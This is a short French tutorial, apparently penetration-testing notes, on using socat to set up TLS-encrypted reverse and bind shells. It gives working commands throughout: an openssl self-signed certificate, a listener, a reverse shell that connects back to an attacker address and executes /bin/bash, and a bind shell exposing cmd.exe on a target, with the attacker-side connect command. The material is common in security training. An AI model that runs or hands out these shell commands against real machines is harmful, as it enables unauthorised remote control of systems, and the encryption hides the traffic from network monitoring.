# Socat

Socat est un outil puissant permettant de créer des connexions bidirectionnelles entre deux points. Dans ce tutoriel, nous allons explorer comment utiliser Socat pour créer des shells chiffrés, à la fois liés et inversés.

## 🔒 **Génération d'un Certificat pour les Shells Chiffrés**

Avant de commencer, générons un certificat pour sécuriser nos connexions :

```bash
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
```

Cette commande crée une clé RSA de 2 048 bits avec un fichier de certificat auto-signé, valide pour moins d'un an. Vous serez invité à fournir des informations sur le certificat, qui peuvent être laissées vides ou remplies de manière aléatoire.

Combinons ensuite les deux fichiers créés en un seul fichier .pem :

```bash
cat shell.key shell.crt > shell.pem
```

## 🔒 **Shell Inversé Chiffré**

Pour configurer un écouteur de shell inversé chiffré, utilisez :

```bash
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
```

Ceci configure un écouteur Socat avec OpenSSL, utilisant notre certificat généré. L'option `verify=0` indique à la connexion de ne pas essayer de valider que notre certificat a été correctement signé par une autorité reconnue.

Pour vous reconnecter, utilisez :

```bash
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
```

## 🔒 **Bind Shell Chiffré**

Pour configurer un shell lié chiffré sur la cible (par exemple, sur Windows avec cmd.exe), utilisez :

```bash
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
```

Sur l'attaquant, utilisez :

```bash
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
```

Encore une fois, notez que le certificat doit être utilisé sur l'écouteur, donc assurez-vous de copier le fichier PEM sur la cible pour un shell lié.
